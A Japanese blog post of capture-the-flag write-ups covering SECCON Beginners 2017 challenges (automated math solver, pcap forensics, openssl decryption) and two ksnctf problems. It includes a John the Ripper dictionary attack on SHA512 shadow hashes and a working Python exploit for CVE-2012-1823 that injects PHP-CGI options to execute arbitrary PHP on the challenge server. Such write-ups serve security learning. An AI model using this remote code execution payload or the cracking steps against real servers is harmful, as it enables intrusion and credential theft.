SECCON Beginers 2017 in 長崎

SECCON Beginners 2017の長崎に参加してきたので、解けた問題のWrite-upを書きます。
ちなみに5位入賞(*‘∀‘)
バイナリは解き方が分かってても、短時間で解く気が起きない…笑

Misc

スコアサーバ入門 100

テスト用問題なのでパス！

てけいさん for びぎなーず 200

簡単な四則演算を100回連続で正解する問題
実はこの問題は去年解いたことあって、その時は自力で解いた(笑)
そこで今回は自動で解く！

ソースコードを見ると、問題の数式だけdivタグを使っていることが分かる。
だからあとは、divタグから数式を抽出して計算し、結果を送信すれば良いだけ。
Pythonで書いたプログラムはこんな感じ。

# coding:utf-8

import requests
from bs4 import BeautifulSoup

url = 'http://172.20.1.1/php_math.php'
s = requests.session()
req = s.get(url)

for i in range(103):
    soup = BeautifulSoup(req.text, "lxml")
    if soup.find("div") is None:
        print(soup.text)

    else:
        div = soup.find("div").text
        quest = div.split(' ')
        x = int(quest[0])
        y = int(quest[2])

        if "+" in div:
            ans = x + y
        elif "-" in div:
            ans = x - y
        elif "*" in div:
            ans = x * y
        elif "/" in div:
            ans = x / y
        else:
            print(soup)
        req = s.post(url, data={"answer": ans})
        print(ans)

一瞬で計算終わってフラグゲット！

QR Puzzle 200

この3枚の画像を

画像編集で繋げて絵文字部分を修正するだけ。

あとはこのサイトにアクセスしてフラグゲット！

QRの仕組みを少しだけ知ってれば即解ける問題('ω')

Web

Fix it! 100

HTTP通信を見て、HTTPレスポンスのLoctionヘッダがリダイレクト先URL。
このURLにアクセスしてフラグゲット！

Login 100

ゲストユーザで不正ログインする問題
普通にSQLインジェクションするだけ。

Password 200

ログイン画面が問題だったと思う…
とりあえずソースコードを見ると、怪しいJavaScriptが。

base64ってヒントが書いてあるので、それ以降の文字列をbase64でデコード。
するとJavaScriptコードが生成される。
あとはそのコードの処理を追って行くと、フラグゲット！

Forensic

Simple 100

Wiresharkで問題のpcapを開いて「ctf4b」で検索。
ダミーが含まれているけど、フラグ発見！

Export 200

HTTP通信を見ると、tar.gzファイルをダウンロードしていることが分かる。
あとはWiresharkでこのファイルを復元して、解凍し、フラグが書かれたテキストファイルをゲット！

W4nn4cry? 300

ファイルシステムデータが渡される。
stringsコマンドで見てみると、何かのファイルをOpenSSLで暗号化していることが分かる。ついでに暗号化時のパスワードも記録されてる。

flsコマンドで見ると、削除してるファイルが分かる。

これをicatで抽出するが、中身は暗号化されている。
そこで、stringsコマンドで得た情報を基に、ファイルを復号する。
コマンドは以下。

openssl enc -d -aes-256-cbc -salt -k パスワード -in 復号対象のファイル名 -out 復号後に出力するファイル名

復号したファイルの中身にフラグあり！
WannaCryもAESで暗号化してるのかな？

Reversing

Raw 100

実行ファイルが渡される。
とりあえず実行したら笑われた('Д')

が、stringsコマンドで簡単にゲット

#14 John

問題

ksnctf.sweetduet.info
文字列が列挙されているだけ。

解法

とりあえずこの文字列を眺めてると、最後の行にこんな文章が。

user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

ハッシュ関数である「SHA512」が関係することが分かる。また、その後の文章の通り、記述されているURLではテキスト形式の辞書を入手できる。
これ以上分からないので、とりあえず「SHA512」や「John」についてググる。
その結果、SHA512でソルト付きパスワードを生成すると、先頭文字列が「$6$」になるらしい。そして、「John the Ripper」という有名なパスワードクラックツールがあるらしい。
以上のことから、問題の文字列は21人分のパスワードを「SHA512」でハッシュ化したもので、それを「John the Ripper」を使ってクラックすればいいと推測できる。

Kali LinuxにはデフォルトでJohnが入っているみたいなので、Kaliで解析していく。また、解析する際には先程入手した辞書を利用する。
コマンドはこんな感じ。

# john --wordlist==[辞書のファイル名] [解析するパスワードファイル名]

すると1つずつ解析結果が表示されていき、1分くらいで解析が終わる。

そして解析結果を見てみる。

# john --show [解析したパスワードファイル名]

解析したパスワードの先頭文字を順番に並べるとフラグをゲット！！

ちなみにこの問題は、シャドウファイルと呼ばれる、パスワードを暗号化して保存したファイルを想定していると思われる。Linuxの/etc/shadowに保存されているらしい。
例えハッシュ化されていても、パスワード自体が弱かったら簡単に突破されることが分かったな（´-`）.｡oO

#12 Hypertext Preprocessor

ひっさびさの更新！

問題

ksnctf.sweetduet.info

こういう数字だけが表示されています。

解法

とりあえずソースコードを見たけど特になし。
次に問題名の「Hypertext Preprocessor」を調べてみたら、PHPのことをいうらしい('Д')ｼﾗﾅｶｯﾀ
それでPHP関係かなと思いつつ、表示されてる数字の「2012:1823」をググったらCVE-2012-1823が引っかかった。
これはCGI版のPHP 5.4.2/5.3.12以前に存在する脆弱性で、URLパラメータにコマンドオプションを含めたらそれを実行しちゃうってヤツ。（この脆弱性を狙ったApache Magica攻撃というのがあるらしい）
実はこの脆弱性は後輩の研究で既に知ってて、早速URLに-sを追加してみたところ、ソースコードを確認できた。

コメントによると、フラグはこのディレクトリ内にあるとのこと。
ちなみに表示されてた数字は、CVE番号、時間、ランダム数値だと分かった。

ここから少し本格的に攻撃する必要があって、徳丸さんのサイトを参考にする。
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

それによると、この2つのコマンドを使えば任意のPHPコードを実行できるらしい。

• allow_url_include=On
• auto_prepend_file=php://input

そして次はPHPコードでフラグを探していく。
Fiddlerでやろうと奮闘したけど、リクエストヘッダの書き方が悪かったらしく？PHPコードが実行されない…。
ということで結局Python書いた(´Д｀)

import requests

url = "http://ctfq.sweetduet.info:10080/~q12/"
query = "?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input"
payload = '''
 <?php
  foreach(glob('*') as $file){
    if(is_file($file)){
        echo "$file \n";
    }
  }
 ?>
'''
r = requests.post(url+query, data=payload)
html = r.text

print(html)

PHPの処理内容は、ディレクトリ内のファイルを一覧表示するもの。
その結果、flagがあると思われるファイルを発見。

そしてcatで中身を見てフラグゲット！！

元々知ってた脆弱性だったから、そんなに苦戦しなかったかな？
久々に解いて楽しかった(´∀｀)